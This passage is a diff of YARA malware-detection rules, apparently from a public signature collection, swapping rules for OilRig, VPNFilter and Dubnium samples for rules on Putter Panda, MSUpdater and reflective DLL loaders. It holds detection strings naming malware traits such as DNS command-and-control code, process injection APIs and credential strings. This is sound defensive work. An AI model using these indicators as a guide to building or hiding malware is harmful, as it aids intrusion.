+		$s11 = "myAgent" fullword ascii
+		$s12 = "%s%s%d%d" fullword ascii
+		$s13 = "down file success" fullword ascii
+		$s15 = "error!" fullword ascii
+		$s18 = "Avaliable data:%u bytes" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and ( all of ($s*) or $x1)
+		uint16(0)==0x5a4d and 6 of them
 }
-rule SIGNATURE_BASE_Oilrig_PS_Cnc : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_PSAPI : FILE
 {
 	meta:
-		description = "Powershell CnC using DNS queries"
-		author = "Markus Neis"
-		id = "cbc5689c-37ff-59b6-9e3a-7d8577021f70"
-		date = "2018-03-22"
+		description = "Detects a malware related to Putter Panda"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e074ab8a-2ca4-579e-aaef-cdfb9c64b21b"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_chafer_mar18.yar#L94-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0566f0707021af0d08426eec497292098273d46b020a5f0be6b98835ceeb82bc"
-		score = 75
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L61-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f93a7945a33145bb6c106a51f08d8f44eab1cdf5"
+		logic_hash = "b73f1db2ca8a3164562314ebd9903c864eb2690c95731959df0e99656544ed40"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "9198c29a26f9c55317b4a7a722bf084036e93a41ba4466cbb61ea23d21289cfa"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "(-join $base32filedata[$uploadedCompleteSize..$($uploadedCompleteSize" fullword ascii
-		$s2 = "$hostname = \"D\" + $fileID + (-join ((65..90) + (48..57) + (97..122)|" ascii
+		$s0 = "LOADER ERROR" fullword ascii
+		$s1 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s2 = "psapi.dll" fullword ascii
+		$s3 = "urlmon.dll" fullword ascii
+		$s4 = "WinHttpGetProxyForUrl" fullword ascii
 
 	condition:
-		filesize <40KB and 1 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Duqu1_5_Modules
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_WUAUCLT
 {
 	meta:
-		description = "Detection for Duqu 1.5 modules"
-		author = "Silas Cutler (havex@chronicle.security)"
-		id = "7239f5e1-c08f-566c-8998-f7dacc2c4a29"
-		date = "2023-12-05"
+		description = "Detects a malware related to Putter Panda"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5c8e0629-b5f2-5933-8c74-c49b756aaf18"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_duqu1_5_modules.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bb3961e2b473c22c3d5939adeb86819eb846ccd07f5736abb5e897918580aace"
-		logic_hash = "795107e227cfb73f6ea09fcdb078f8b57a30d47a2cb702b2d47cc936dea5ae9f"
-		score = 75
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L81-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fd5ca5a2d444865fa8320337467313e4026b9f78"
+		logic_hash = "49cae3b727d6b2673dc9a6497d59c9abdd78d486e1eaf6f036f6eb1aef9a8fcb"
+		score = 70
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$c1 = "%s(%d)disk(%d)fdisk(%d)"
-		$c2 = "\\Device\\Floppy%d" wide
-		$c3 = "BrokenAudio" wide
-		$m1 = { 81 3F E9 18 4B 7E}
-		$m2 = { 81 BC 18 F8 04 00 00 B3 20 EA B4 }
+		$x0 = "WUAUCLT.EXE" fullword wide
+		$x1 = "%s\\tmp%d.exe" fullword ascii
+		$x2 = "Microsoft Corporation. All rights reserved." fullword wide
+		$s1 = "Microsoft Windows Operating System" fullword wide
+		$s2 = "InternetQueryOptionA" fullword ascii
+		$s3 = "LookupPrivilegeValueA" fullword ascii
+		$s4 = "WNetEnumResourceA" fullword ascii
+		$s5 = "HttpSendRequestExA" fullword ascii
+		$s6 = "PSAPI.DLL" fullword ascii
+		$s7 = "Microsoft(R) Windows(R) Operating System" fullword wide
+		$s8 = "CreatePipe" fullword ascii
+		$s9 = "EnumProcessModules" fullword ascii
 
 	condition:
-		all of them
+		all of ($x*) or (1 of ($x*) and all of ($s*))
 }
-rule SIGNATURE_BASE_MAL_ELF_Vpnfilter_1 : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_Gen1 : FILE
 {
 	meta:
-		description = "Detects VPNFilter malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dc50cb37-a6e7-5eb5-9581-31d7fd005e47"
-		date = "2018-05-24"
+		description = "Detects a malware "
+		author = "YarGen Rule Generator"
+		id = "5e7910e7-3f33-50fb-a87f-bf0bbf8a2797"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_vpnfilter.yar#L11-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aff7b1f3d4afaf883c2702287ef7d6e13e01e80222ba336978d13deb21a93614"
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L110-L131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8054195f212017fb17953728a7df34645d81c93fee75300e44f467c6aa5efaff"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344"
+		super_rule = 1
+		hash0 = "bf1d385e637326a63c4d2f253dc211e6a5436b6a"
+		hash1 = "76459bcbe072f9c29bb9703bc72c7cd46a692796"
+		hash2 = "e105a7a3a011275002aec4b930c722e6a7ef52ad"
 
 	strings:
-		$s1 = "Login=" fullword ascii
-		$s2 = "Password=" fullword ascii
-		$s3 = "%s/rep_%u.bin" fullword ascii
-		$s4 = "%s:%uh->%s:%hu" fullword ascii
-		$s5 = "Password required" fullword ascii
-		$s6 = "password=" fullword ascii
-		$s7 = "Authorization: Basic" fullword ascii
-		$s8 = "/tmUnblock.cgi" fullword ascii
+		$s1 = "%s%duserid=%dthreadid=%dgroupid=%d" fullword ascii
+		$s2 = "ssdpsvc.dll" fullword ascii
+		$s3 = "Fail %s " fullword ascii
+		$s4 = "%s%dpara1=%dpara2=%dpara3=%d" fullword ascii
+		$s5 = "LsaServiceInit" fullword ascii
+		$s6 = "%-8d Fs %-12s Bs " fullword ascii
+		$s7 = "Microsoft DH SChannel Cryptographic Provider" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and 5 of them
 }
-rule SIGNATURE_BASE_MAL_ELF_Vpnfilter_2 : FILE
+rule SIGNATURE_BASE_Malware_Msupdater_String_In_EXE : FILE
 {
 	meta:
-		description = "Detects VPNFilter malware"
+		description = "MSUpdater String in Executable"
 		author = "Florian Roth (Nextron Systems)"
-		id = "95356303-e8ba-585d-b2fc-af9e10b0b93f"
-		date = "2018-05-24"
+		id = "c7da9e1e-3a8d-54b6-b102-0e1095d99cc4"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_vpnfilter.yar#L33-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "238ec4575fd8adbfa592e07b601313c71a08be8c776e78469aef8ad02e411798"
-		score = 75
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L133-L156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b1a2043b7658af4d4c9395fa77fde18ccaf549bb"
+		logic_hash = "2b7a43aee6dbac1bfa7d9e0331cb078394ae78a1ec44c1a4a70a63b38595abe0"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec"
 
 	strings:
-		$s1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)" fullword ascii
-		$s2 = "passwordPASSWORDpassword" fullword ascii
-		$s3 = "/tmp/client.key" fullword ascii
+		$x1 = "msupdate.exe" fullword wide
+		$x3 = "msupdater.exe" fullword ascii
+		$x4 = "msupdater32.exe" fullword ascii
+		$x5 = "msupdater32.exe" fullword wide
+		$x6 = "msupdate.pif" fullword ascii
+		$fp1 = "_msupdate_" wide
+		$fp2 = "_msupdate_" ascii
+		$fp3 = "/kies" wide
 
 	condition:
-		uint16(0)==0x457f and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*)) and not (1 of ($fp*))
 }
-rule SIGNATURE_BASE_MAL_ELF_Vpnfilter_3 : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_Msupdater_3 : FILE
 {
 	meta:
-		description = "Detects VPNFilter malware"
+		description = "Detects Malware related to PutterPanda - MSUpdater"
 		author = "Florian Roth (Nextron Systems)"
-		id = "020603bf-fbce-5de1-82b9-5a2dfacfada3"
-		date = "2018-05-24"
+		id = "917ab081-ee91-5eda-82eb-4731563a1933"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_vpnfilter.yar#L50-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71152b57f2d6040608febf32441e1899fdf2479335c26c1143ea58759e6d9094"
-		score = 75
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L158-L175"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "464149ff23f9c7f4ab2f5cadb76a4f41f969bed0"
+		logic_hash = "09e7da7f2bfbae9252502ea1ea61b612c1af2e4c70508b34e685b46429d4613c"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92"
-		hash2 = "9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17"
-		hash3 = "37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4"
-		hash4 = "0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b"
-		hash5 = "4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b"
-		hash6 = "8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1"
-		hash7 = "776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d"
 
 	strings:
-		$sx1 = "User-Agent: Mozilla/6.1 (compatible; MSIE 9.0; Windows NT 5.3; Trident/5.0)" fullword ascii
-		$sx2 = "Execute by shell[%d]:" fullword ascii
-		$sx3 = "CONFIG.TOR.name:" fullword ascii
-		$s1 = "Executing command:  %s %s..." fullword ascii
-		$s2 = "/proc/%d/cmdline" fullword ascii
-		$a1 = "Mozilla/5.0 Firefox/50.0" fullword ascii
-		$a2 = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii
-		$a3 = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii
+		$s0 = "msupdater.exe" fullword ascii
+		$s1 = "Explorer.exe \"" fullword ascii
+		$s2 = "FAVORITES.DAT" fullword ascii
+		$s4 = "COMSPEC" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <1000KB and (1 of ($sx*) or 2 of ($s*) or 2 of ($a*))
+		uint16(0)==0x5a4d and 3 of them
 }
-rule SIGNATURE_BASE_SUSP_ELF_Tor_Client : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_Msupdater_1 : FILE
 {
 	meta:
-		description = "Detects VPNFilter malware"
+		description = "Detects Malware related to PutterPanda - MSUpdater"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1be6528d-1b60-50da-8125-2ef73b8aeb4f"
-		date = "2018-05-24"
+		id = "3c65b668-52c2-5cd5-ba02-4f190e08d46c"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_vpnfilter.yar#L80-L95"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2b67b32c5b8441c9b38e3bfeefa7f59c2767e29985adcba7d52e858847d37e47"
-		score = 65
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L177-L200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b55072b67543f58c096571c841a560c53d72f01a"
+		logic_hash = "038be28609df0187cbbce0d16fee7c902b742458f1201ff3c0d5fde19acd2c56"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719"
 
 	strings:
-		$x1 = "We needed to load a secret key from %s, but it was encrypted. Try 'tor --keygen' instead, so you can enter the passphrase." fullword ascii
-		$x2 = "Received a VERSION cell with odd payload length %d; closing connection." fullword ascii
-		$x3 = "Please upgrade! This version of Tor (%s) is %s, according to the directory authorities. Recommended versions are: %s" fullword ascii
+		$x0 = "msupdate.exe" fullword wide
+		$x1 = "msupdate" fullword wide
+		$s1 = "Microsoft Corporation. All rights reserved." fullword wide
+		$s2 = "Automatic Updates" fullword wide
+		$s3 = "VirtualProtectEx" fullword ascii
+		$s4 = "Invalid parameter" fullword ascii
+		$s5 = "VirtualAllocEx" fullword ascii
+		$s6 = "WriteProcessMemory" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and 1 of them
+		( uint16(0)==0x5a4d and 1 of ($x*) and 4 of ($s*)) or (1 of ($x*) and all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Fake_AMSI_DLL_Jun23_1 : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_Msupdater_2 : FILE
 {
 	meta:
-		description = "Detects an amsi.dll that has the same exports as the legitimate one but very different contents or file sizes"
-		author = "Florian Roth"
-		id = "b12df9de-ecfb-562b-b599-87fa786a33bc"
-		date = "2023-06-07"
-		modified = "2023-06-12"
-		reference = "https://twitter.com/eversinc33/status/1666121784192581633?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_fake_amsi_dll.yar#L3-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec3db233ab22144bc65614b45bb894a7ea5a4fd40ccb603e6e52cc1b9ff8805b"
-		score = 65
-		quality = 85
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e9188a14-5c0c-551c-bdca-9f770f42935a"
+		date = "2015-06-03"
+		modified = "2023-12-05"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L202-L236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "365b5537e3495f8ecfabe2597399b1f1226879b1"
+		logic_hash = "47d75e589d47a39d5a9c9e0047a143074d3d74b5541adf8cb3be968da732a96d"
+		score = 70
+		quality = 83
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "Microsoft.Antimalware.Scan.Interface" ascii
-		$a2 = "Amsi.pdb" ascii fullword
-		$a3 = "api-ms-win-core-sysinfo-" ascii
-		$a4 = "Software\\Microsoft\\AMSI\\Providers" wide
-		$a5 = "AmsiAntimalware@" ascii
-		$a6 = "AMSI UAC Scan" ascii
-		$fp1 = "Wine builtin DLL"
+		$s0 = "winsta0\\default" fullword ascii
+		$s1 = "EXPLORER.EXE" fullword ascii
+		$s2 = "WNetEnumResourceA" fullword ascii
+		$s3 = "explorer.exe" fullword ascii
+		$s4 = "CreateProcessAsUserA" fullword ascii
+		$s5 = "HttpSendRequestExA" fullword ascii
+		$s6 = "HttpEndRequestA" fullword ascii
+		$s7 = "GetModuleBaseNameA" fullword ascii
+		$s8 = "GetModuleFileNameExA" fullword ascii
+		$s9 = "HttpSendRequestA" fullword ascii
+		$s10 = "HttpOpenRequestA" fullword ascii
+		$s11 = "InternetConnectA" fullword ascii
+		$s12 = "Process32Next" fullword ascii
+		$s13 = "Process32First" fullword ascii
+		$s14 = "CreatePipe" fullword ascii
+		$s15 = "EnumProcesses" fullword ascii
+		$s16 = "LookupPrivilegeValueA" fullword ascii
+		$s17 = "PeekNamedPipe" fullword ascii
+		$s18 = "EnumProcessModules" fullword ascii
+		$s19 = "PSAPI.DLL" fullword ascii
+		$s20 = "SPSSSQ" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (pe.exports("AmsiInitialize") and pe.exports("AmsiScanString")) and ( filesize >200KB or filesize <35KB or not 4 of ($a*)) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <220KB and all of them
 }
-rule SIGNATURE_BASE_Dubnium_Sample_1 : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_Gen4 : FILE
 {
 	meta:
-		description = "Detects sample mentioned in the Dubnium Report"
+		description = "Detects Malware related to PutterPanda"
 		author = "Florian Roth (Nextron Systems)"
-		id = "377ecbaa-9324-562e-a973-0276d44f3feb"
-		date = "2016-06-10"
+		id = "0b6ce725-6932-5432-acd5-ee3593ac7bd8"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/AW9Cuu"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dubnium.yar#L10-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "94763f42dacbeede9a72c3ecc222164a5808bd74c5d2d783c76831221a9c30c8"
-		score = 75
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L238-L276"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d450935febe5d6db14be1e7694db1d7b9e8fcacf013920e89c7b25659254310"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		super_rule = 1
+		hash0 = "71a8378fa8e06bcf8ee9f019c807c6bfc58dca0c"
+		hash1 = "8fdd6e5ed9d69d560b6fdd5910f80e0914893552"
+		hash2 = "3c4a762175326b37035a9192a981f7f4cc2aa5f0"
+		hash3 = "598430b3a9b5576f03cc4aed6dc2cd8a43324e1e"
+		hash4 = "6522b81b38747f4aa09c98fdaedaed4b00b21689"
 
 	strings:
-		$key1 = "3b840e20e9555e9fb031c4ba1f1747ce25cc1d0ff664be676b9b4a90641ff194" fullword ascii
-		$key2 = "90631f686a8c3dbc0703ffa353bc1fdf35774568ac62406f98a13ed8f47595fd" fullword ascii
+		$x1 = "rz.dat" fullword ascii
+		$s0 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii
+		$s1 = "Internet connect error:%d" fullword ascii
+		$s2 = "Proxy-Authorization:Basic " fullword ascii
+		$s5 = "Invalid url" fullword ascii
+		$s6 = "Create file failed" fullword ascii
+		$s7 = "myAgent" fullword ascii
+		$z1 = "%s%s%d%d" fullword ascii
+		$z2 = "HttpQueryInfo failed:%d" fullword ascii
+		$z3 = "read file error:%d" fullword ascii
+		$z4 = "down file success" fullword ascii
+		$z5 = "kPStoreCreateInstance" fullword ascii
+		$z6 = "Avaliable data:%u bytes" fullword ascii
+		$z7 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		filesize <300KB and (( uint16(0)==0x5a4d and $x1 and 3 of ($s*)) or (3 of ($s*) and 4 of ($z*)))
 }
-rule SIGNATURE_BASE_Dubnium_Sample_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reflectiveloader : FILE
 {
 	meta:
-		description = "Detects sample mentioned in the Dubnium Report"
+		description = "Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended"
 		author = "Florian Roth (Nextron Systems)"
-		id = "894dc893-25fc-5fdc-9f69-8085b94e1af1"
-		date = "2016-06-10"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/AW9Cuu"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dubnium.yar#L26-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b633a7e002609fa78b0de8fb818af1b47fbe77497d161b6b41602fb34780ca8"
-		score = 75
+		id = "d8a601d7-b99a-59dc-bfc7-bf0e35b5d8bd"
+		date = "2017-07-17"
+		modified = "2021-03-15"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_loaders.yar#L14-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4d839674f8d8181b11af964a7c84a9eb8f07623500dd2695fca9ca3b15c247e2"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		nodeepdive = 1
 
 	strings:
-		$x1 = ":*:::D:\\:c:~:" fullword ascii
-		$s2 = "SPMUVR" fullword ascii
+		$x1 = "ReflectiveLoader" fullword ascii
+		$x2 = "ReflectivLoader.dll" fullword ascii
+		$x3 = "?ReflectiveLoader@@" ascii
+		$x4 = "reflective_dll.x64.dll" fullword ascii
+		$x5 = "reflective_dll.dll" fullword ascii
+		$fp1 = "Sentinel Labs, Inc." wide
+		$fp2 = "Panda Security, S.L." wide ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5a4d and (1 of ($x*) or pe.exports("ReflectiveLoader") or pe.exports("_ReflectiveLoader@4") or pe.exports("?ReflectiveLoader@@YGKPAX@Z")) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Dubnium_Sample_3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_1 : FILE
 {
 	meta:
-		description = "Detects sample mentioned in the Dubnium Report"
+		description = "Detects Reflective DLL Loader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "66f66139-88df-5ba9-a3fc-ba4fc98ce3f9"
-		date = "2016-06-10"
+		id = "9a2674f8-5fdb-5a4d-a2b9-41e874939616"
+		date = "2017-08-20"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/AW9Cuu"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dubnium.yar#L42-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "851efb71cd80040fdd13d9961d1e0084421c783afc43417ff1ac3ed023a73ae1"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_loaders.yar#L53-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ad012dda538d37242c92c6ed16a0fb1cd9252a2884387f8e7d9c80b041c8fea"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8"
-		hash2 = "e0362d319a8d0e13eda782a0d8da960dd96043e6cc3500faeae521d1747576e5"
-		hash3 = "a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827"
+		hash1 = "f2f85855914345eec629e6fc5333cf325a620531d1441313292924a88564e320"
 
 	strings:
-		$x1 = "copy /y \"%s\" \"%s\" " fullword ascii
-		$x2 = "del /f \"%s\" " fullword ascii
-		$s1 = "del /f /ah \"%s\" " fullword ascii
-		$s2 = "if exist \"%s\" goto Rept " fullword ascii
-		$s3 = "\\*.*.lnk" ascii
-		$s4 = "Dropped" fullword ascii
+		$x1 = "\\Release\\reflective_dll.pdb" ascii
+		$x2 = "reflective_dll.x64.dll" fullword ascii
+		$s3 = "DLL Injection" fullword ascii
+		$s4 = "?ReflectiveLoader@@YA_KPEAX@Z" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 5 of them
+		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="4bf489ae7d1e6575f5bb81ae4d10862f" or pe.exports("?ReflectiveLoader@@YA_KPEAX@Z") or (1 of ($x*) or 2 of them ))) or (2 of them )
 }
-rule SIGNATURE_BASE_Dubnium_Sample_5 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_DLL_Injector_Lynx : FILE
 {
 	meta:
-		description = "Detects sample mentioned in the Dubnium Report"
+		description = "Detects Lynx DLL Injector"
 		author = "Florian Roth (Nextron Systems)"
-		id = "09c1aeee-9437-54e9-967f-3c2fcc0736ed"
-		date = "2016-06-10"
+		id = "7a4c9949-c701-5ae2-a8b1-3ef0b08c1c04"
+		date = "2017-08-20"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/AW9Cuu"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dubnium.yar#L64-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f84f502ba9a4fe304851badfa98d9e8500cdef472d4358cfd327365ac04dda3"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_loaders.yar#L78-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
